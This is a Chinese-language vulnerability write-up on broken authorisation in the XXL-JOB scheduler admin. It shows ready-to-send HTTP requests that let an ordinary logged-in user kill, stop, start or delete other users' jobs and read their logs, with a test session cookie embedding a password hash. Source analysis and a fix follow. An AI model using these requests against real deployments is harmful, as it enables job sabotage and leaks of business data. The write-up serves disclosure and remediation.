漏洞简介
XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。 这次介绍的漏洞属于水平越权漏洞,简单来说就是,一个没有任何任务管理权限的用户,只要登录了系统后,就能构造请求来操作其他人的任务。
受影响的接口包括:
XXL-JOB 的权限控制分两层:
-
全局拦截器:通过
PermissionInterceptor检查用户是否登录 -
方法级注解:通过
@PermissionLimit注解控制是否需要管理员权限
问题出现于:在接口处既没有加 @PermissionLimit 注解要求管理员权限,方法内部也没有校验用户对具体任务的操作权限。
漏洞验证&分析
管理员登录后台并创建一个无任何权限的普通用户
根据日志id 越权停止启动进程 logKill
根据 developer.aliyun.com/article/164… 创建一个 XXL-JOB 执行器,属于正常业务功能
为了方便展示效果我们配置一个 jobTest1Handler
@XxlJob("jobTest1Handler") public void jobTest1Handler() { try { System.out.println("jobTest1Handler 开始执行 - " + new Date()); for (int i = 1; i <= 100000; i++) { // 检查线程是否被中断 if (Thread.currentThread().isInterrupted()) { System.out.println("任务被中断,退出循环"); return; } System.out.println("jobTest1Handler - 第" + i + "次执行 - 定时任务执行时间:" + new Date()); Thread.sleep(1000); } System.out.println("jobTest1Handler 执行完成 - " + new Date()); } catch (InterruptedException e) { System.err.println("任务被中断:" + e.getMessage()); Thread.currentThread().interrupt(); } }
管理员登录后台后将任务部署并执行
我们看到执行器项目中已经开始执行并打印处日志信息
此时我们登录普通用户的账号信息
是没有对任务调度的任何操作权限
构造数据包
GET /xxl-job-admin/joblog/logKill?id=1225 HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8080/xxl-job-admin/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227dConnection: close
执行的任务信息被中断
此时对应的 id 1225 是 任务 job_id 5 对应此时启动的日志 id
src/main/java/com/xxl/job/admin/controller/interceptor/WebMvcConfig.java
通过 WebMvcConfig 配置,PermissionInterceptor 作为全局拦截器对所有请求路径(/**)进行拦截。
com.xxl.job.admin.controller.interceptor.PermissionInterceptor#preHandle
在 preHandle 方法中,拦截器会检查目标方法是否标注了 @PermissionLimit 注解来决定是否需要登录验证和管理员权限。如果需要登录,会调用 loginService.ifLogin() 验证用户身份,未登录用户会被重定向到登录页面;已登录用户信息会存储在 request 属性中供后续使用。
com.xxl.job.admin.controller.JobLogController#logKill
在 XXL-Job 的权限体系中,如果一个接口方法没有标注 @PermissionLimit 注解,那么该方法会受到全局 PermissionInterceptor 的默认保护,即要求用户必须登录(needLogin \= true)但不要求管理员权限(needAdminuser \= false)。因此 logKill 方法虽然需要登录验证,但任何普通登录用户都可以访问,这就形成了一个权限漏洞:普通用户可以终止任何任务,而不受 JobGroup 权限限制或管理员角色限制。正确的做法应该是在 logKill 方法中添加 PermissionInterceptor.validJobGroupPermission() 调用来验证用户对特定任务组的权限,或者要求管理员权限才能执行终止操作。
根据日志id 越权查看日志信息 logDetailCat
是没有对调度日志的任何操作权限
普通用户登录后 构造数据包
GET /xxl-job-admin/joblog/logDetailCat?logId=1225&fromLineNum=1 HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8080/xxl-job-admin/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227dConnection: close
现在看到的,是 XXL-JOB 框架的日志,信息量似乎不大。但是,如果这个任务的业务逻辑是这样的:
@XxlJob("processOrderJob")public void processOrderJob() { // 1. 从数据库查询待处理订单 Order order \= orderDao.getPendingOrder(); XxlJobHelper.log("开始处理订单,订单号:{}", order.getOrderId()); // 2. 调用第三方支付接口 PaymentResult result \= paymentService.process(order); XxlJobHelper.log("支付接口返回,用户ID:{},手机号:{}", order.getUserId(), order.getPhoneNumber()); // 3. 更新订单状态 orderDao.updateStatus(order.getOrderId(), "SUCCESS"); XxlJobHelper.log("订单处理完成,地址:{}", order.getAddress());}
如果 logId\=1 对应的是这样一个任务,那么通过 /logDetailCat 漏洞,获取到的 logContent 就会变成: 开始处理订单,订单号:202508190001 支付接口返回,用户ID:10086,手机号:13812345678 订单处理完成,地址:上海市浦东新区xxx路xxx号
这就是这个漏洞最直接、最严重的危害: 无论是否有权限,都可以实时窃取到系统中任意一个任务在执行过程中打印的任何信息,其中极有可能包含用户隐私、订单数据、内部接口参数等核心业务敏感信息。
com.xxl.job.admin.controller.JobLogController#logDetailCat
logDetailCat 方法存在权限设计缺陷。该方法没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何登录用户都可以通过传入任意的 logId 参数来查看任何任务的执行日志详情,包括不属于自己权限范围内的 JobGroup 的任务日志,从而可能泄露敏感的业务信息、配置参数或执行结果。正确的做法应该是在方法中添加 PermissionInterceptor.validJobGroupPermission(request, jobLog.getJobGroup()) 来验证用户是否有权限查看该任务所属组的日志信息
根据任务id 越权启动、停止、删除任务
根据 developer.aliyun.com/article/164… 创建一个 XXL-JOB 执行器,属于正常业务功能
为了方便展示效果我们配置一个 jobTestHandler
@XxlJob("jobTestHandler") public void jobTestHandler() { System.out.println("hello World!" + "- " + "定时任务执行时间:" +new Date()); }
管理员登录后台后将任务部署并执行
启动成功后 执行器项目中已经开始执行并打印处日志信息
此时我们登录普通用户的账号信息
是没有对任务调度的任何操作权限
以普通用户的权限构造数据包
GET /xxl-job-admin/jobinfo/stop?id=4 HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8080/xxl-job-admin/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227dConnection: close
每秒执行的项目停止
再构造数据包
GET /xxl-job-admin/jobinfo/start?id=4 HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8080/xxl-job-admin/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227dConnection: close
项目重新启动成功
构造数据包
GET /xxl-job-admin/jobinfo/remove?id=4 HTTP/1.1Host: 127.0.0.1:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1:8080/xxl-job-admin/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: XXL_JOB_LOGIN_IDENTITY=7b226964223a322c22757365726e616d65223a226365736869222c2270617373776f7264223a226531306164633339343962613539616262653536653035376632306638383365222c22726f6c65223a302c227065726d697373696f6e223a22227dConnection: close
任务被删除
src/main/java/com/xxl/job/admin/controller/JobInfoController.java
src/main/java/com/xxl/job/admin/service/XxlJobService.java
com.xxl.job.admin.service.impl.XxlJobServiceImpl#remove
com.xxl.job.admin.service.impl.XxlJobServiceImpl#start
com.xxl.job.admin.service.impl.XxlJobServiceImpl#stop
remove、stop 和 start 三个方法都存在相同的权限设计缺陷。这些方法均没有标注 @PermissionLimit 注解,因此只受到全局权限拦截器的默认保护,仅要求用户登录但不验证具体权限。这意味着任何普通登录用户都可以对任意定时任务执行删除、停止或启动操作,完全绕过了 JobGroup 权限限制。其中 remove 方法的风险最高,允许用户删除任何任务及其相关数据;stop 和 start 方法则允许用户随意控制任务的执行状态,可能中断重要业务流程或启动危险任务。正确的做法应该是在这些方法中都添加 PermissionInterceptor.validJobGroupPermission() 调用来验证用户对目标任务所属组的权限,确保用户只能操作自己有权限管理的任务。
漏洞修复
修复的核心思路就是:在执行敏感操作之前,先验证当前登录用户是否对目标任务所属的 JobGroup 有操作权限。
-
在 Controller 层,对 remove、stop、start 方法增加了获取当前登录用户的逻辑
-
在 Service 层,对接口方法增加了
XxlJobUser loginUser参数 -
在 ServiceImpl 层, 对 remove、stop、start 方法增加了权限校验逻辑
hasPermission